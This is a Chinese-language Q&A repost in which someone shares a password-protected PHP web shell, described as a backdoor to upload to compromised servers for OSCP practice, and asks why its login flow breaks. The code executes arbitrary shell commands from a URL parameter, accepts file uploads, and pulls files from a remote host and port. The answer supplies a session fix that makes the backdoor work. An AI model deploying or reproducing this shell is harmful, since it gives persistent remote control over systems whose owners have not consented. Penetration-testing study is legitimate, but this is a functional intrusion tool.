我有一个PHP脚本正在开发中,可以作为后门程序以透支方式上传到受损的服务器/应用程序-作为PWK / OSCP的一部分。因此使用不安全的函数。
我正在尝试实现一些基本身份验证,以确保只有授权用户才能找到和使用后门。
我的问题是,一旦用户登录,当执行命令或上载时,脚本将返回login()
功能而不是呈现例如ls
任何其他系统命令的结果。
我尝试displayForm()
从自身内部调用,但出现内存异常。
如何更改现有脚本,以便显示命令输出并为后续命令准备好表单?
为了进行此调试,已将user:password设置为1:1,因为脚本不允许空白密码。
我对PHP不熟悉,因此请原谅任何写得不好的代码!
<?php
$_SESSION['valid'] = false;
login();
function displayForm() {
if (!$_SESSION['valid']) {
login();
}
$output = ""; # Leave this blank
$host = "127.0.0.1"; # host to fetch files from if not a local upload
$port = "9001";
if (isset($_FILES['fileToUpload'])) {
$output = "";
$fileName = basename($_FILES["fileToUpload"]["name"]);
$file_tmp =$_FILES['fileToUpload']['tmp_name'];
move_uploaded_file($file_tmp, $fileName);
}
if (isset($_POST['remoteFile'])) {
$output = "";
file_put_contents($_POST['remoteFile'], file_get_contents("http://$host:$port/" . $_POST['remoteFile']));
}
if (isset($_GET['cmd'])) {
$output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
echo <<<HTML
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
<p> Local Upload: <input type="file" name="fileToUpload">
<input type="submit" name="upload">
</form>
<br>
<form action="" method="POST" enctype="multipart/form-data">
<p> Fetch From Remote: <input type="text" name="remoteFile">
<input type="submit" name="fetch">
</form>
<br>
<form method="GET">
<p>CMD: <input type="text" name="cmd">
<input type="submit" value="Exec">
</form>
<pre>
$output
</pre>
</body>
</html>
HTML;
}
function login() {
$output = "<pre>" . "Username and password required. Ensure creds have been added to source." . "</pre>";
$masterUser = "1";
$masterPassword = "1";
if (isset($_POST['username']) and isset($_POST['password'])) {
if ($masterUser === "" or $masterPassword === "") {
abortProgram();
}
if ($_POST['username'] === $masterUser and $_POST['password'] === $masterPassword) {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
displayForm();
} else {
$output = "<pre>" . "Invalid credentials" . "</pre>";
header("Refresh:0");
}
}
echo <<<HTML
<html>
<body>
<form method="POST">
<input type="text" title="username" placeholder="username" name="username"/>
<input type="password" title="username" placeholder="password" name="password"/>
<button type="submit" class="btn">Login</button>
</form>
<pre>
$output
</pre>
</body>
</html>
HTML;
}
function abortProgram() {
echo <<<HTML
<html>
<body>
<pre> No password set. Access Denied. Aborting. </pre>
</body>
</html>
HTML;
exit();
}
function logout() {
# logout logic here
}
?>
因此问题出在第2行和第3行。当您通过登录表单“登录”时,您正在设置Session变量,并且您displayForm()
在同一请求中运行。但是,当您提交下一个表单时,整个页面将重新加载,因此php从上到下再次运行整个脚本。php仅在单个请求内起作用。所以这就是为什么您需要会议。要解决您的问题,您必须修改第2-3行,然后首先检查会话值是否已设置。您可以使用简单的if
条件来执行此操作:
<?php
if (!array_key_exists('valid', $_SESSION) || $_SESSION['valid'] !== true) {
login();
} else {
displayForm();
}
本文收集自互联网,转载请注明来源。
如有侵权,请联系 [email protected] 删除。
我来说两句